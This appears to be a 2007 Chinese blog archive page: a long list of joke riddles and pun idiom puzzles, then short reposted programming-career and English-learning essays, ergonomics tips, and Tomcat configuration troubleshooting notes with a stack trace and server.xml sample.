有一头头朝北的牛,它向右转原地转三圈,然后向后转原地转三圈,接着再往右转,这时候它尾巴朝哪?
答案:朝下
为什么有家医院从不给人看病?
答案: 兽医院
两对父子去买帽子,每人买了一顶,却为什么只买了三顶?
答案:祖孙三代人
什么瓜不能吃?
答案:傻瓜
四个9加起来为什么等于100?
答案:99+9/9 = 100
什么时候有人敲门,你绝不会说请进?
答案:上厕所的时候
小王在哨所站岗时,明明看到有敌人悄悄向他摸过来,为什么他却睁一只眼闲一只眼?
答案:正在瞄准目标
黑鸡厉害还是白鸡厉害?为什么?
答案: 黑鸡厉害,能下白蛋,白鸡下不了黑蛋。
世界上每一件东西加热都会熔化,唯独一样东西一加热便凝固,请问是什么东西?
答案:蛋
一次考试中,一对同桌交了一模一样的考卷,但老师认为他们肯定没有做弊,这是为什么?
答案: 都是白卷
制造日期与有效日期是同一天的产品是什么??
答案: 报纸
有一个人,他是你父母生的,但他却不是你的兄弟姐妹,他是谁?
答案: 自己
什么字全世界通用?
答案:阿拉伯数字
徐先生犯了一个大错误。当他在太太面前,掏口袋的一刹那,一些袋内的酒吧火柴盒、未中奖的马票,以及旧情人的照片等,均散落一地。他在慌张之余,为了避免吵架,双手马上遮起一件东西 。请问,他会去遮住什么东西?
答案:去遮住太太的眼睛
这冰看起来就好像是张铝箔(四字成语)?
答案:如履薄冰(如铝箔冰)
这封信是两颗蛋做的(四字成语)?
答案:信誓旦旦(信是蛋蛋)
小麦的两包面都被偷了(四字成语)?
答案:面面俱到(俱盜)
哞哞叫的牛一下水游泳后就不叫了(四字成语)?
答案:有勇无谋(游泳无哞)
一只乌龟,因背着十字架而出了名(四字成语)?
答案:实至名归(十字名龟)
女孩子将手机挂在胸前(猜水果名)?
答案:荔枝(奶机)
为什么大家喜欢看漫画?
答案:无聊
公共汽车上,两个人正在热烈的交谈,可围观的人却一句话也听不到,这是因为什么?
答案: 这是一对聋哑人
请仔细想一想,你所见到的最大影子是什么?
答案: 地球的影子,即每天的晚上
金太太一向心直口快,可什么事竟让她突然变得吞吞吐吐了呢?
答案: 金太太在吃甘蔗的时候吞吞吐吐
有一种药,你想吃上药店却买不到,这是什么药?
答案:后悔药
有人经常从十米高的地方不带任何安全装置跳下,为什么?
答案:高台跳水
什么雨可以淋死人?
答案:枪林弹雨
为什么大家都喜欢坐着看电影?
答案:因为站着看脚会酸
废除早自习会造成什么影响?
答案:少睡半小时
为什么Dr. J做完10下伏地挺身后,地上多了个凹洞?
答案: 因为他单手做伏地挺身
请龟兔赛跑,请猪来当裁判,请问龟兔谁会赢?
答案: 不能说!说的人是猪…
两个女人与一千只鸭子所说的话有何相似性呢?
答案:无稽(鸡)之谈
为何有些人喜欢泡澡过后冲澡?
答案: 因为泡澡时尿尿太恶心
男人整理衣物时如何分类?
答案: [脏体]和[脏体但还可以穿]
上完厕所,要用左手、还是右手擦屁屁会比较好?
答案: 用卫生纸比较好…
参加联考时,除了准考证之外,最重要的是什么?
答案:记得起床
一个男人加一个女人会成了什么?
答案:两个人
小马哥的老爸在市立图书馆(四字成语)
答案: 识途老马(市图老马)
一个新老公和一只新买的狗有什么不同?
答案: 新买的狗一年后看到你还是很兴奋
波波男不小心吞下了1元,波爸把他倒过來拍,却吐出10元,这时波爸该怎么办呢?
答案: 继续喂他一元
哪个数字最勤劳?哪个数字最懒?
答案: 一不做 二不休
沒有尾巴的熊是尾熊,沒有鸡鸡的熊是什么熊?
答案: 母熊
请问世界上最小的岛是什么岛?
答案: 安全岛
什么布切不断?
答案:瀑布
9月28是孔子诞辰,那么10月28日是什么日子?
答案: 孔子满月
狼来了(猜水果)?
答案:杨桃 (羊逃)
蒋公(蒋介石)如果还在世的话世界会怎样?
答案: 多一个人...
这两块冰下有鲤鱼(四字成语)?
答案: 彬彬有礼(冰冰有鲤)
豆腐为什么能打伤人?
答案:因为是冻豆腐
一只蚂蚁居然从四川爬到了东京,可能吗?
答案: 地图上爬
一辆客车发生了事故,所有的人都受伤了,为什么小明却没事?
答案: 因为他不在车上
有个地方能进不能出,请问这是什么地方?
答案: 坟墓
鸡鹅百米赛跑,鸡比鹅跑得快,为什么却后到终点站?
答案: 鸡跑错了方向
一只皮球和一个铁球从高楼上掉下来,谁先落地?
答案: 铁球
上课铃声东响了,却没有一个同学在教室里,怎么回事?
答案: 上的是体育课
为什么小明能一只手让车子停下来?
答案:车子是出租车
什么人的工作整天忙得的团团转?
答案: 芭蕾舞演员
玲玲没学过算术,老师却夸她的数学是数一数二的,为什么?
答案: 从一数到二
当哥伦布一只脚迈上新大陆后,紧接着做什么?
答案: 迈另一只脚
什么东西人们在不停地吃它,却永远吃不饱。
答案: 空气
用什么办法能使眉毛长在眼睛下面?
答案:倒立
每个人睡觉前,一定不会忘记的事是什么?
答案: 闭上眼睛
有人说吃鱼可避免患近视眼,为什么?
答案:你见过猫戴眼睛
有一位老大爷,住十二楼,可为什么他从不乘电梯?
答案: 因为他住一楼
哪一种动物你打了它却流了自己的血?
答案:蚊子
什么东西能加不能减?
答案:年龄
小洋的功课一直在班上是第一,为什么这次却降到第三?
答案: 因为两个人的分数超过他
什么样的山和海可以移动
答案:人山人海
正常人不看的书是什么书??
答案: 盲书
什么东西嘴里没有舌头
答案: 茶壶嘴
什么样的官不能发号施令,还得老向别人陪笑?
答案: 新朗官
一名警察见了小偷拔腿就跑,为什么?
答案:想快点抓住小偷
小明天天吃口香糖,可别人还说他口臭,为什么?
答案:他天天说脏话。
青蛙为什么能比树跳得高?
答案:因为他站在树上跳。
小明的眼睛近视度很深,但是戴了眼镜却仍然模糊,为什么?
答案: 因为他戴了没有镜片的眼睛
小呆骑在大牛身上,为什么大牛不吃草?
答案: 因为大牛是人
大明的英语非常好,可是有些老外却听不懂,为什么?
答案:老外不懂英语
能不晕车的最好办法是什么?
答案: 步行
小明才4岁,却已当了“爸爸”了,可能吗?
答案: 玩过过家家游戏
老王擦桌子,擦了半天,仍觉得脏,为什么?
答案:因为老王的老花镜是脏的
“先天”是父母所遗传的体质,那“后天”是什么?
答案: 后天是明天的明天
什么东西人们都不喜欢吃?
答案: 当然是亏了
为什么燕子冬天要飞向南方过冬?
答案: 因为走得太慢
两瓶花中,一瓶是鲜花,一瓶是纸花,请说出哪一瓶是鲜花?
答案: 有蝴蝶在上面飞的花是鲜花
小偷最怕碰到是哪个机关?
答案:公安机关
犯人最乐意选择的死法是什么?
答案: 老死
树上站了8只鸟,开枪打死了一只,还剩几只鸟?
答案: 一只死鸟
北京王府井步行街上来往最多的是什么人?
答案:行人
男理发师最不喜欢的人是谁?
答案:秃子
北极熊食肉,它为什么不吃企鹅?
答案: 吃不到
情人眼里出西施,那西施眼里出什么?
答案: 眼屎
什么方法可以马上找到遗失的图钉?
答案:打赤脚
老詹养了一只狗,并且从來不帮狗洗澡,为什么狗不会生跳蚤呢?
答案: 因不狗只会生小狗…
剪刀.石头.布!Miss City出布, Going小姐出石头,为什么Going小姐贏了?
答案: 因为Going將拳头打在Miss City的脸上
魚与熊掌要如何才可兼得?
答案: 养只会抓魚的熊
Dr. J在游泳池游泳,游着游着,为什么水突然变深了?
答案: 有人尿尿
不小心溺水时,若附近沒有其他人该怎么办?
答案:把水喝光
什么样的桶子永远装不满?
答案: 马桶
什么事会让上面的人愉快,下面的人高兴?
答案: 演唱会
进浴室洗澡时,要先脱衣服還是裤子?
答案: 先关门比较好
老人梅友并到医院去做检查,結果医生告诉他说要看开一点,请问他得了什么病?
答案: 豆鸡眼
情人节晚上,什么是男生跟女生睡觉前一定要做的事?
答案: 闭上眼睛
蛋要怎么买,才不会买到里面已经孵出了小鸡的蛋?
答案: 买鴨蛋
避孕药的主要成份是什么?
答案:抗生素
期末考,going小姐一題都不会写,但她突然眼睛一亮,开始奋笔疾书!Why?
答案: 她在写班級、座号、姓名…
冰天雪地的北极找不到防身的武器時怎么办?
答案: 撒尿制冰剑
牛頓在苹果树下苹果击中,发现了地心引力;如果你坐在椰子树下,等待被椰子打中,你会发现什么?
答案: 会发现这种行为很愚蠢…
年年有余,为什么钱还是存不起來?
答案: 因为年年都被炒魷魚…
乌龟为什么会突然「一个头两个大」咧?
答案:因为乌龟正在想这个问题…
为什么婴儿一出生就大哭?
答案: 因为他看到护士阿姨很漂亮,又想到自己的… 太小
耶稣是哪一国人?
答案: 天国
小文不小心把10元硬币吞下去了, 该怎么办?
答案:再去要一个
12生肖中,最骇人的是哪3个?
答案: 猪、龙、鸡(朱熔基)
一个人无法做,一群人做没意思,两个人做刚刚好。请问是啥密事?
答案: 说悄悄話
两位帅哥因何为了一位长相如恐龙般的女子大打出手?
答案: 打的要娶她…
为什么两个孩子恰恰好?
答案:因为不孝有『三』…
什么东西愈洗愈脏?
答案:水
一个人做无所谓,两个人做最不好,但三人以上做又沒什么关系了。是什么事情呢?
答案:放屁
蛇为什么要脫皮?
答案:因为皮在痒
杏子从52楼跳下,为什么沒事?
答案:因为它是只小鸟
为什么有人会跳比巴黎铁塔还要高呢?
答案:因为巴黎铁塔不会跳。
沖天炮为什么射不到星星?
答案: 因为星星会闪...
校有校规,班有班规,动物园有什么?
答案: 乌龟
你爸爸的妈妈的妹妹的女儿的叔叔是你的什么关系?
答案: 亲戚关系
「小学到大学」要念多久?
答案: 不到3秒。不信再念一次:小学到大学
为什么胖的人比瘦的人怕热?
答案: 因为被晒的面积比较大...
蓝色的刀和蓝色的枪(猜4字成语)?
答案: 刀枪不入(Bule)
身穿着金色衣服的人(猜4字成语)?
答案:一鸣惊人(一名金人)
一条狗过了木桥之后就不叫了(猜4字成语)?
答案: 过目不忘(过木不汪)
手机不可以掉到马桶里弄湿(猜4字成语)?
答案: 机不可失(机不可湿)
用猪肝和熊胆作成的神奇肥皂(猜4字成语)?
答案: 肝胆相照(肝胆香皂)
在路上,它翻了一个跟斗,接着又翻了一次(猜4字成语)?
答案: 三翻两次
一个离过很多次婚的女人(4字成语)?
答案:前功尽弃(前公尽弃)
服裝仪容检查时,明明有理头发,为什么教官不信?
答案: 秀才遇到兵,「有理」说不清。
想在台湾从政,要会国语、台语以及什么语?
答案: 肢体语言
灰姑娘的老爸老妈可能是谁?
答案: 白雪公主与包公
劳资争议时,雇主应该穿什么?(
答案: 防弹背心
全世界最大的蕃薯长在哪里?
答案: 土里
全世界最大的公鸡是从哪里来的?
答案: 蛋里
郑成功的母亲可能叫什么?
答案:郑失败 (失败是成功之母)
生米煮成了熟饭该怎么办?
答案:开饭吧
偷什么不犯法?
答案: 偷笑
无聊的时候,开车游车河时,叫做什么?
答案: 白花油
司机进汽车后第一件事是什么?
答案: 坐下
一个没有胸部的巨大女人该怎么称呼?
答案:巨无霸
有个人饿得要死,而冰箱里有鸡罐、鱼罐、猪肉等罐头,他先打开什么?
答案: 先开冰箱
阿匹婆的英文名字是...?
答案: A-People
每对夫妻都有的共同点是...?
答案: 同年同日結婚
公共厕所(猜一外国首都)(
答案: 伦敦(轮蹲)
哪个欧洲国家的生意不批发?
答案: 丹麦(单卖)
阿弟竟成功的用面线上吊自杀成功,为什么?
答案: 摔死的...
什么东西看不到却可以摸到,万一摸不到会把人吓到?
答案:脉搏
什么鼠最爱干净?
答案: 环保署
什么书买不到?
答案: 遗书
右手永远抓不到什么?
答案: 右手
「笑」和「哭」有什么相同之处?
答案: 都是10画
这个东东,左看像电灯,右看也像电灯,和电灯没什么两样。但它就是不会亮,這是啥东东呢?
答案:坏掉的电灯
一头被10公尺绳子栓住的老虎,要如何吃到20公尺外的草?
答案:老虎... 不吃草
http://www.uasp.net/Content_1994.aspx
posted @
2007-05-16 08:52 选宝网an9 阅读(415) |
评论 (0) |
编辑 收藏
http://www.zvon.org/xxl/XPathTutorial/General_chi/examples.html
http://www.w3pop.com/tech/school/xpath/xpath_intro.asp
posted @
2007-05-15 08:42 选宝网an9 阅读(187) |
评论 (0) |
编辑 收藏
http://www.sptcc.com
posted @
2007-05-15 08:25 选宝网an9 阅读(6542) |
评论 (9) |
编辑 收藏
http://www.jenkov.dk/training/trails.tmpl#unit_testing
http://java.sun.com/products/jsp/tutorial/TagLibrariesTOC.html
http://www.orionserver.com/docs/tutorials/taglibs/
posted @
2007-05-14 11:29 选宝网an9 阅读(194) |
评论 (0) |
编辑 收藏
http://www.chinamobile.com/service/billservice/
posted @
2007-05-11 13:53 选宝网an9 阅读(2241) |
评论 (10) |
编辑 收藏
http://www.24en.com/bdc/index.php?cat=gz
posted @
2007-05-11 08:14 选宝网an9 阅读(284) |
评论 (0) |
编辑 收藏
世界上并没有成为高手的捷径,但一些基本原则是可以遵循的。
1、扎实的基础
数据结构、离散数学、编译原理,这些是所有计算机科学的基础,如果不掌握它们,很难写出高水平的程序。程序人人都会写,但当你发现写到一定程度很难再提高的时候,就应该想想是不是要回过头来学学这些最基本的理论。不要一开始就去学OOP,即使你再精通OOP,遇到一些基本算法的时候可能也会束手无策。因此多读一些计算机基础理论方面的书籍是非常有必要的。
2、丰富的想像力
不要拘泥于固定的思维方式,遇到问题的时候要多想几种解决问题的方案,试试别人从没想过的方法。丰富的想像力是建立在丰富的知识的基础上,除计算机以外,多涉猎其他的学科,比如天文、物理、数学等等。开阔的思维对程序员来说很重要。
3、最简单的是最好的
这也许是所有科学都遵循的一条准则,复杂的质能转换原理在爱因斯坦眼里不过是一个简单得不能再简单的公式:E=mc2。简单的方法更容易被人理解,更容易实现,也更容易维护。遇到问题时要优先考虑最简单的方案,只有简单方案不能满足要求时再考虑复杂的方案。
4、不钻牛角尖
当你遇到障碍的时候,不妨暂时远离电脑,看看窗外的风景,听听轻音乐,和朋友聊聊天。当我遇到难题的时候会去玩游戏,当负责游戏的那部分大脑细胞极度亢奋的时候,负责编程的那部分大脑细胞就得到了充分的休息。当重新开始工作的时候,我会发现那些难题现在竟然可以迎刃而解。
5、对答案的渴求
人类自然科学的发展史就是一个渴求得到答案的过程,即使只能知道答案的一小部分也值得我们去付出。只要你坚定信念,一定要找到问题的答案,你才会付出精力去探索,即使最后没有得到答案,在过程中你也会学到很多东西。
6、多与别人交流
三人行必有我师,也许在一次和别人不经意的谈话中,就可以迸出灵感的火花。多上上网,看看别人对同一问题的看法,会给你很大的启发。
7、良好的编程风格
注意养成良好的习惯,代码的缩进编排,变量的命名规则要始终保持一致。大家都知道如何排除代码中错误,却往往忽视了对注释的排错。注释是程序的一个重要组成部分,它可以使你的代码更容易理解,而如果代码已经清楚地表达了你的思想,就不必再加注释了,如果注释和代码不一致,那就更加糟糕。
8、韧性和毅力
这也许是“高手”和一般程序员最大的区别。高手们并不是天才,他们是在无数个日日夜夜中磨炼出来的。成功能给我们带来无比的喜悦,但过程却是无比的枯燥乏味。你不妨做个测试,找个10000以内的素数表,把它们全都抄下来,然后再检查三遍,如果能够不间断地完成这一工作,你就可以满足这一条。
转http://www.7880.com/Info/Article-538c3ea0.html
posted @
2007-05-09 17:46 选宝网an9 阅读(297) |
评论 (0) |
编辑 收藏
架构师(Architecture)是目前很多软件企业最急需的人才,也是一个软件企业中薪水最高的技术人才。换句话说,架构师是企业的人力资本,与人力资源相比其能够通过架构、创新使企业获得新的产品、新的市场和新的技术体系。那么什么是架构师、架构师的作用、如何定位一个架构师和如何成为一个架构师呢?这是许多企业、许多程序员朋友希望知道的或希望参与讨论的话题内容。
所谓架构师通俗的说就是设计师、画图员、结构设计者,这些定义范畴主要用在建筑学上很容易理解。小时候到河中玩耍,经常干的事就是造桥,步骤如下:1、在沙滩上画图;2、选择形状好看、大小适合的石头;3、搭建拱桥。其中我们挑出来画图的那位光PP小孩就是传说中的“架构师”了。
在软件工程中,架构师的作用在于三方面:1、行业应用架构,行业架构师往往是行业专家,了解行业应用需求,其架构行为主要是将需求进行合理分析布局到应用模型中去,偏向于应用功能布局;2、应用系统技术体系架构,技术架构师往往是技术高手中的高手,掌握各类技术体系结构、掌握应用设计模式,其架构行为考虑软件系统的高效性、复用性、安全性、可维护性、灵活性、跨平台性等;3、规范架构师是通过多年磨砺或常年苦思顿悟后把某一类架构抽象成一套架构规范,当然也有专门研究规范而培养的规范架构师。他们的产物往往也分为应用规范和技术规范两类。
与建筑学类似,如果软件系统没有一个好的架构是不可能成为成功的软件系统的。没有图纸的建筑工地、没有设计的造桥工程都是不可以想象的混乱世界。建筑工程如是,软件工程中亦然!
由于国内合格、胜任的软件架构师极为少见,直接导致了我国民族软件产业水平的落后。在未来以信息产业为主导的社会,信息产业水平的低下将直接影响国家核心竞争力。究其原因,无企业非急功近利、个人缺乏引导。
企业的急功近利是有无法克服的原因的,那就是社会发展总体水平。“生存是第一位的,赚钱是第一位的”,多年来许多客户抱怨国内的软件公司无法信任、系统项目累做累败、公司越换越差,但因国外不可能给中国做应用系统项目还不得不找国内软件公司做。由于人月费用低、公司开发成本高,软件企业对于应用只能草草了事,拿钱走人(很多公司拿不到后期尾款)。这样的环境下,企业几乎无法投入更多资源培养自己的架构师,加上眼花缭乱的跳槽风气企业更是不愿投入……
那么要成为架构师的途径似乎只有现在较为流行的软件学院和个人自我培养了。关于软件学院我接触过不少,其宗旨绝大部分都是造就(or打造)企业需要的软件架构师(or程序员or人才)。教师来源与企业、学员来源与企业、人才输送到企业是他们办学的手段。尽管各个如雨后春笋般出现的软件学院口号差不多,但恐怕大多只是为了圈钱卖学位了事...
架构师不是通过理论学习可以搞出来的,不过不学习相关知识那肯定是不行的。参考软件企业架构师需求、结合目前架构师所需知识,总结架构师自我培养过程大致如下仅供参考:
1、架构师胚胎(程序员)学习的知识是语言基础、设计基础、通信基础等,应该在大学完成,内容包括java、c、c++、uml、RUP、XML、socket通信(通信协议)——学习搭建应用系统所必须的原材料。
2、架构师萌芽(高级程序员)学习分布式系统、组建等内容,可以在大学或第一年工作时间接触,包括分布式系统原理、ejb、corba、com/com+、webservice(研究生可以研究网络计算机、高性能并发处理等内容)
3、架构师幼苗(设计师)应该在掌握上述基础之上,结合实际项目经验,透彻领会应用设计模式,内容包括设计模式(c++版本、java版本)、ejb设计模式、J2EE架构、UDDI、软件设计模式等。在此期间,最好能够了解软件工程在实际项目中的应用以及小组开发、团队管理。
4、软件架构师的正式成型在于机遇、个人努力和天赋,软件架构师其实是一种职位,但一个程序员在充分掌握软架构师所需的基本技能后,如何得到这样的机会、如何利用所掌握的技能进行应用的合理架构、如何不断的抽象和归纳自己的架构模式、如何深入行业成为能够胜任分析、架构为一体的精英人才这可不是每个人都能够遇上的馅饼……
然而学海无涯,精力有限,个人如何能够很快将这些所谓的架构师知识掌握?这是秘密,每个人都有自己的独门家传秘笈就不敢一一暴露了。不过有一点就是广泛学习的基础之上一定要根据个人兴趣、从事领域确定一条自己的主线来努力。
如果说架构师是在模型图纸上工作的,那么模型元素必须是实实在在的,正如我们不可能期望抽象派画家来设计高楼大厦,没有实际意义的模型元素,是不可能构筑出软件系统的。迄今为止,绝大部分软件架构师是依赖软件程序员来实现他们的架构意图的,这二者直接的鸿沟是显而易见的。设计模式的出现是为缩短二者之间的鸿沟所做的努力,目的是让架构师和程序员之间有更多的共同语言和规范。尽管设计模式让软件开发效率和质量有一定程度的提升,但是它始终面临一个很明显的局限,那就是人的因素。人虽然在创造性方面有绝对优势,但是在精确性、持久性、效率、质量上是无法比拟机器的。所以我们希望在软件系统构建过程中,人和机器发挥各自的长处,也就是说,让人来扮演架构师的角色,而让机器来扮演程序施工者的角色。事实上,目前已经有了成功的模式了,那就是KCOM 商业工程(http://www.kcomsoft.com)企业应用平台所采用的基于设计的全自动化软件工厂模式,采用这种模式,架构师在工具平台所提供的模型图设计环境里做软件系统的设计,设计结果由工具平台自身所带的“软件工厂”自动加工成最终企业应用软件系统。这样的开发模式,能使企业应用软件系统的开发在效率、质量上有了质的提升,从根本上区别于传统的设计模式,因为这里的设计模式已经包含在软件工厂编译器之中了。
(转自)Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=131568
posted @
2007-05-09 17:08 选宝网an9 阅读(428) |
评论 (0) |
编辑 收藏
第一,过分讲究方法和技巧,而不愿意下真功夫。语言的运用是一种技能,但这种技能不是专靠技巧能够获得的。太讲究方法和技巧会被其占用很多的时间和精力,而对学习的内容本身投入较少的时间和精力,因此反而会影响学习的效果。如有一个参加高等教育自学考试的青年,他订了十多种讲自学和考试的刊物,认真学习和研究,讲起方法来一套一套的,可他每次参考的科目却大多考不及格。这是因为他只顾钻研方法和技巧,在学习内容上花的时间和精力太少,而且养成了投机取巧、不肯下功夫的习惯。方法和技巧只能适当利用,并且要从自己的学习实践中摸索出适合自己的方法和技巧才会真正管用。
第二,过分讲究速度和效率,不愿花时间经常重复(复习)已学过的内容,只求懂了则罢。语言的运用既是一种技能,技能则只有靠熟能生巧,要不断的重复才会熟练,只有熟练了才会形成一种应用自如、不假思索的技能。
第三,三天打鱼两天晒网,没有恒心,不能长期坚持学习。技能的熟练要有一个过程,在这个过程中会遇到各种困难,但不能向困难低头,要坚持不懈地反复学习,持之以恒。
第四,不重视听力训练。语言是有声的,我们对语言的感受首先是语言的声音作用于我们的大脑,如果不练习听力,只是默默地阅读和背单词,其结果不仅听不懂别人讲外语,而且阅读水平也难以提高。
第五,只学而不“用”,完全是以“学”的态度来学外语。语言的实践性很强,如果只学而不用,就永远也学不好。我们学语言的目的就是为了应用,要学会在用中学习,这样才能提高兴趣,达到好的学习效果。
值得特别注意的是,“用”不只是有意识的用,很多时候是要无意识的“用”。比如在吃饭、洗碗、聊天、上网、洗脸、洗脚、洗衣服、做家务事的时候,可把录音和电视打开听英语;比如看电影、看新闻、听歌曲,看小说也要看英文的;比如电脑上可装英文的操作系统和应用软件;比如上网用英文聊天,等等。总之,要根据自己的条件营造一个外语环境,在这个环境中使自己听顺耳、看顺眼、读顺口、写顺手(“四顺”),就象练气功一样达到“顺”的境界。这样在不知不觉中过了一段时间后,你会发现已经懂了许多,而且会感觉学外语其实不难。如果只是“精读”“死教材”,你会发现学外语很难、很枯燥、进步很慢,学了十几年仍然不会听、不会读、不会写(“三不会”)。以我自己为例,从二十岁到四十岁断断续续学了二十年英语,基本上还是“三不会”,于是我从“人生四十不学艺”的四十岁开始,用了两年多的时间做“四顺”——哈!现在全解决了。
(转 www.wwenglish.com)
posted @
2007-04-29 13:24 选宝网an9 阅读(164) |
评论 (0) |
编辑 收藏
(转
http://www.51yixun.co)
1.坐下时要保证双脚正好可以平放在地面。注意不要交叉双脚,以免血液循环不畅。
2.电脑桌上键盘和鼠标的高度,要低于坐下时肘部的高度,最多与肘部等高。
3.不要斜放电脑键盘,否则会导致手腕过度弯曲紧绷。
4.显示屏要稍低于视线,最多与视线平行。注意避免光线直接照射在显示屏上。
5.眼睛与显示屏的距离应为40~50厘米。
大家工作的同时不要忽略了健康!
posted @
2007-04-29 13:18 选宝网an9 阅读(435) |
评论 (0) |
编辑 收藏
运行快捷键(WIN + R)
输入dxdiag
msinfo32.exe
posted @
2007-04-17 12:39 选宝网an9 阅读(32434) |
评论 (22) |
编辑 收藏
Catalina.start using D:\MyTools\Tomcat5.0\jakarta-tomcat-5.0.28\conf\server.xml:
java.io.UTFDataFormatException: Invalid byte 2 of 2-byte UTF-8 sequence.
java.io.UTFDataFormatException: Invalid byte 2 of 2-byte UTF-8 sequence.
at org.apache.xerces.impl.io.UTF8Reader.invalidByte(Unknown Source)
at org.apache.xerces.impl.io.UTF8Reader.read(Unknown Source)
at org.apache.xerces.impl.XMLEntityScanner.load(Unknown Source)
at org.apache.xerces.impl.XMLEntityScanner.scanData(Unknown Source)
at org.apache.xerces.impl.XMLScanner.scanComment(Unknown Source)
at org.apache.xerces.impl.XMLDocumentFragmentScannerImpl.scanComment(Unknown Source)
at org.apache.xerces.impl.XMLDocumentFragmentScannerImpl$FragmentContentDispatcher.dispatch(Unknown Source)
at org.apache.xerces.impl.XMLDocumentFragmentScannerImpl.scanDocument(Unknown Source)
at org.apache.xerces.parsers.XML11Configuration.parse(Unknown Source)
at org.apache.xerces.parsers.XML11Configuration.parse(Unknown Source)
at org.apache.xerces.parsers.XMLParser.parse(Unknown Source)
at org.apache.xerces.parsers.AbstractSAXParser.parse(Unknown Source)
at org.apache.commons.digester.Digester.parse(Digester.java:1548)
at org.apache.catalina.startup.Catalina.load(Catalina.java:489)
at org.apache.catalina.startup.Catalina.load(Catalina.java:528)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
at
java.lang.reflect.Method.invoke(Method.java:585)
at org.apache.catalina.startup.Bootstrap.load(Bootstrap.java:250)
at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:424)
Catalina.start using D:\MyTools\Tomcat5.0\jakarta-tomcat-5.0.28\conf\server.xml:
java.io.UTFDataFormatException: Invalid byte 2 of 2-byte UTF-8 sequence.
java.io.UTFDataFormatException: Invalid byte 2 of 2-byte UTF-8 sequence.
at org.apache.xerces.impl.io.UTF8Reader.invalidByte(Unknown Source)
at org.apache.xerces.impl.io.UTF8Reader.read(Unknown Source)
at org.apache.xerces.impl.XMLEntityScanner.load(Unknown Source)
at org.apache.xerces.impl.XMLEntityScanner.scanData(Unknown Source)
at org.apache.xerces.impl.XMLScanner.scanComment(Unknown Source)
at org.apache.xerces.impl.XMLDocumentFragmentScannerImpl.scanComment(Unknown Source)
at org.apache.xerces.impl.XMLDocumentFragmentScannerImpl$FragmentContentDispatcher.dispatch(Unknown Source)
at org.apache.xerces.impl.XMLDocumentFragmentScannerImpl.scanDocument(Unknown Source)
at org.apache.xerces.parsers.XML11Configuration.parse(Unknown Source)
at org.apache.xerces.parsers.XML11Configuration.parse(Unknown Source)
at org.apache.xerces.parsers.XMLParser.parse(Unknown Source)
at org.apache.xerces.parsers.AbstractSAXParser.parse(Unknown Source)
at org.apache.commons.digester.Digester.parse(Digester.java:1548)
at org.apache.catalina.startup.Catalina.load(Catalina.java:489)
at org.apache.catalina.startup.Catalina.start(Catalina.java:548)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
at
java.lang.reflect.Method.invoke(Method.java:585)
at org.apache.catalina.startup.Bootstrap.start(Bootstrap.java:287)
at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:425)
Apr 5, 2007 9:43:39 AM org.apache.catalina.startup.Catalina start
INFO: Server startup in 0 ms
java.lang.reflect.InvocationTargetException
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
at
java.lang.reflect.Method.invoke(Method.java:585)
at org.apache.catalina.startup.Bootstrap.start(Bootstrap.java:287)
at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:425)
Caused by:
java.lang.NullPointerException
at org.apache.catalina.startup.Catalina.await(Catalina.java:619)
at org.apache.catalina.startup.Catalina.start(Catalina.java:579)
... 6 more
%TOMCAT_HOME%\conf\server.xml配置如下
<Context path="/job" reloadable="true" docBase="E:\MyWork\job"
workDir="E:\MyWork\job\work">
<Resource name="jdbc/web_jobbank07v2_jobbank_cn_i" auth="Container"
type="javax.sql.DataSource" />
<ResourceParams name="jdbc/web_jobbank07v2_jobbank_cn_i">
<parameter>
<name>username</name>
<value>U_JOBBANK07V2_JOBBANK_CN_I</value>
</parameter>
<parameter>
<name>password</name>
<value>U_JOBBANK07V2_JOBBANK_CN_I</value>
</parameter>
<parameter>
<name>driverClassName</name>
<value>oracle.jdbc.driver.OracleDriver</value>
</parameter>
<parameter>
<name>url</name>
<!-- 中文 -->
<value>jdbc:oracle:thin:@172.19.9.101:1521:orautf8</value>
</parameter>
<parameter>
<name>maxActive</name>
<value>8</value>
</parameter>
<parameter>
<name>maxIdle</name>
<value>4</value>
</parameter>
</ResourceParams>
</Context>
出现这个问题的主要原因就是那两个中文注释汉字。
解决办法1、
就是把那两个汉字删除。
解决办法2、
就是在server.xml里面的最上面加一句
<?xml version="1.0" encoding="gbk"?>
我试过是可以的。
posted @
2007-04-05 09:49 选宝网an9 阅读(9293) |
评论 (1) |
编辑 收藏
http://www.javacamp.org/designPattern/
http://www.fluffycat.com/Java-Design-Patterns/Composite/
http://www.javaworld.com/channel_content/jw-patterns-index.html
posted @
2007-04-03 08:37 选宝网an9 阅读(283) |
评论 (0) |
编辑 收藏
默认安装tomcat5然后在catalina.bat最前面加入set JAVA_OPTS=-Xms128m -Xmx350m 如果用startup.bat启动tomcat,OK设置生效.够成功的分配200M内存.
但是如果不是执行startup.bat启动tomcat而是利用windows的系统服务启动tomcat服务,上面的设置就不生效了,就是说set JAVA_OPTS=-Xms128m -Xmx350m 没起作用.上面分配200M内存就OOM了..
windows服务执行的是bin\tomcat.exe.他读取注册表中的值,而不是catalina.bat的设置.
解决办法:
修改注册表HKEY_LOCAL_MACHINE\SOFTWARE\Apache Software Foundation\Tomcat Service Manager\Tomcat5\Parameters\JavaOptions
原值为
-Dcatalina.home="C:\ApacheGroup\Tomcat 5.0"
-Djava.endorsed.dirs="C:\ApacheGroup\Tomcat 5.0\common\endorsed"
-Xrs
加入 -Xms300m -Xmx350m
重起tomcat服务,设置生效
posted @
2007-03-27 10:49 选宝网an9 阅读(1020) |
评论 (0) |
编辑 收藏
http://java.sun.com/docs/books/tutorial/javabeans/introspection/index.html
posted @
2007-03-21 08:04 选宝网an9 阅读(140) |
评论 (0) |
编辑 收藏
1.mysql在本地localhost的test数据库 建person表,暂以字段id,name,password ,表中可输入一行值.
2.建类 DAOUtil
